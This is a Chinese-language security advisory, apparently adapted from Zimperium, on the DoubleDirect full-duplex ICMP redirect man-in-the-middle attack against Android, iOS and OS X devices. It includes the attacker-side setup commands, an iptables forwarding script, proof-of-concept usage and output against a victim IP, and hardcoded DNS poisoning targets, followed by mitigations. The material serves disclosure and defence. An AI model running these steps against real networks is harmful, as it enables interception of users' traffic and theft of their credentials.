劍指Android和iOS系統的中間人攻擊技術
安全研究員發現一種新型的中間人攻擊技術,它的攻擊目標主要是運行Android系統和iOS系統的智能手機和平板電腦。
這種被稱為DoubleDirect的技術屬于中間人(MITM)攻擊的一種。攻擊者可以利用這種技術把受害者訪問谷歌、Facebook、Twitter上的流量重定向到攻擊者控制的設備上,而一旦受害者的流量被重定向了,攻擊者就可竊取受害者的私人數據,比如,郵箱ID、登錄憑證、銀行信息等,當然他還可以在受害者的機器上安裝木馬等惡意軟件。
舊金山的一家移動安全公司Zimperium在其博客中詳細介紹了這一威脅。黑客正在利用DoubleDirect技術進行針對性攻擊,范圍包括美國、英國、加拿大在內的31個國家,5大互聯網巨頭——Google,Facebook,Hotmail,Live.com和Twitter。
全雙工的ICMP重定向中間人攻擊
ICMP攻擊是中間人攻擊(MITM)的一種,傳統的ICMP重定向攻擊及其利用工具則類似于ettercap +半雙工中間人攻擊(MITM)。受害者因為ICMP重定向攻擊被欺騙,路由器因為ARP欺騙攻擊被毒化。這種ICMP攻擊可以通過防御ARP攻擊的傳統手段相對輕松的防御住。
而DoubleDirect則有所不同,它通過ICMP(網間控制報文協議)重定向數據包改變主機路由表。ICMP重定向數據包會告訴主機有一個更好的路由路徑可以達到目的地。改變受害者機器上的路由表可以使任意的網絡流量流向特定的IP地址(比如攻擊者的IP),然后攻擊者就可以從中作梗發動中間人攻擊了。在流量被重定向之后,攻擊者可通過利用客戶端漏洞攻擊受害者的設備,從而訪問受害者的網絡。
通過研究DoubleDirect攻擊,我們發現攻擊者通過目前未知的技術,實現了全雙工的ICMP重定向中間人攻擊。而傳統的ICMP重定向攻擊是有半雙工限制的。
DoubleDirect攻擊是如何工作的?
Zimperium移動安全實驗室在研究該攻擊之后創建了一個攻擊測試工具,它可以證明發動全雙工ICMP重定向攻擊是有可能的。ICMP重定向攻擊的難點在于,攻擊者必須預先知道受害者已經可到達的IP地址。
攻擊者怎樣知道受害者可達的IP地址呢?要回答這個問題我們應該先分析受害者的設備。
例如,當我們在瀏覽器中輸入www.zimperium.com時,應用程序會發送一個DNS請求以找出www.zimperium.com主機的IP地址。
首先,我們會用ICMP重定向數據包把受害者設備上的所有DNS流量轉發到我們的設備上。大多數時候我們都能預測到受害者使用的DNS服務器。
如果受害者與我們在同個局域網(LAN),那么受害者的DNS服務器也很有可能與我們通過DHCP(動態主機配置協議)所獲得的DNS服務器相同。當然,有些移動設備使用的是默認的DNS服務器(8.8.8.8或者 8.8.4.4)。
我們還提供了一個簡單有效的工具來研究DoubleDirect,單擊這里即可下載。
如果想編譯和運行這個工具,你需要在系統上安裝libcrafter(https://code.google.com/p/libcrafter/)。libcrafter是一個C++開發的跨平臺庫,可以用來抓包和解包。在GNU/linux或者MAC OS X系統上編譯,你需要執行以下的命令:
$ git clone https://github.com/pellegre/libcrafter $ cd libcrafter/libcrafter $ ./autogen.sh $ make $ sudo make install $ sudo ldconfig
值得注意的是,在配置libcrafter之前你需要安裝抓包工具libpcap:
#apt-get install libpcap-dev
#p#
DoubleDirect實例:全雙工ICMP重定向攻擊
場景再現
網關=192.168.1.1
攻擊機(Ubuntu)=192.168.1.105
受害機(GalaxyS4)=192.168.1.101
受害機配置
首先需要做的是,檢查設備是否支持重定向。GalaxyS4會默認支持重定向:
# cat /proc/sys/net/ipv4/conf/all/accept_redirects 1
其次,如果你的設備不支持ICMP重定向但你又想測試這一攻擊,那可以執行下面的命令:
# echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
攻擊機配置
為了保證攻擊的正確進行,我們需要在攻擊者設備上執行一些命令:
對數據流量進行轉發(該方式具有暫時性,重啟便失效。要想長久保持轉發需要修改/etc/sysctl.conf)
# echo 1 > /proc/sys/net/ipv4/ip_forward
關閉攻擊機的重定向設置。這很重要!我們需要告訴告訴攻擊設備的內核:不要發送重定向
# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect
攻擊演示
編譯DoubleDirect_poc.cpp文件:
$ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter $ ./doubledirect_poc [#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool ***** [#] Usage: ./doubledirect_poc [options]
POC選項:
-i 指定網絡接口
-v 受害機IP地址
-d 毒化的目標IP
當受害者訪問一些網址時,我們會毒化一個受害者機器可達的遠程IP地址,而不是進行局域網ARP欺騙。然后我們就讓受害者的流量發向我們的設備,而不通過真正的網關。
當設備發送了一個目的地為8.8.8.8的IP數據包時,它本該經過網關(192.168.1.1)……
我們在攻擊者設備上執行:
$ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8 [#] Attack parameters : [+] Interface : wlan0 [+] Victim IP address : 192.168.1.101 [+] Destination to poison : 8.8.8.8 [#] Gateway parameters : [+] Gateway IP address : 192.168.1.1 [+] Gateway MAC address : *:*:*:*:AE:51 [#] My parameters : [+] My IP address : 192.168.1.105
從上面的演示可以看出,我們是怎樣毒化8.8.8.8為我們的IP192.168.1.105的。當受害者發送目的地為8.8.8.8的數據包時,它會把我們的設備作為網關,這樣一來我們就可以嗅探到流向目的地的所有流量了。
一旦所有的DNS流量都通過我們的電腦轉發了,我們通過DNS回應包獲得IP地址,并可以向這些IP地址發送ICMP重定向數據包。這樣,我們不僅能嗅探到受害者的所有DNS流量,還可以完全的將其轉發到我們的設備上。#p#
測試你是否易受DoubleDirect的攻擊,我們可以寫一個bash腳本,利用iptables進行IP轉發:
# cat iptables_dobule_direct.sh #!/bin/sh if [ $# -lt 1 ]; then echo "[@] Usage: `basename ${0}` " echo "[@] Example: `basename ${0}` wlan0" exit 0 fi INTERFACE=${1} echo 1 > /proc/sys/net/ipv4/ip_forward echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects iptables --flush iptables --zero iptables --delete-chain iptables -F -t nat iptables --append FORWARD --in-interface $INTERFACE --jump ACCEPT iptables --table nat --append POSTROUTING --out-interface $INTERFACE --jump MASQUERADE # ./iptables_double_direct.sh wlan0
最后執行Zimperium DoubleDirect攻擊測試工具:
# ./doubledirect_poc -i wlan0 -v 192.168.1.101 [#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool ***** [#] Attack parameters : [+] Interface : wlan0 [+] Victim IP address : 192.168.1.101 [#] Gateway parameters : [+] Gateway IP address : 192.168.2.1 [+] Gateway MAC address : 00:1f:*:*:*:* [#] My parameters : [+] My IP address : 192.168.2.103
DNS服務器是被硬編進代碼(397行,DoubleDirect_poc.cpp文件)里的。
// Hardcoded DNS servers we want to redirect to our machine startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220");
應對策略
Android(安卓)、IOS、Mac OSX設備通常默認支持ICMP重定向。
要想知道你的OS X設備是否易受DoubleDirect攻擊,可以執行以下命令:
sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"
要想使ICMP重定向在Mac失效可以執行以下命令(需要Root權限):
# sysctl -w net.inet.ip.redirect=0
注:這種修復不具有持久性,要想使其長久的有效,你可以重啟之后在命令行中添加啟動腳本。
對于Android來說,大部分的Android設備都會默認支持重定向,要想使其失效,需要root設備并且執行以下命令:
# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
哪些設備會受到攻擊
受影響的系統包括
Android設備:大部分Android設備,包括Nexus 5 + Lollipop
iOS設備:最新iOS設備,包括iOS 8.1.1()以外
Mac:Mac OS X Yosemite(優勝美地)
大部分Windows和GNU/Linux用戶不會受到DoubleDirect的攻擊,因為這些操作系統不支持ICMP重定向數據包。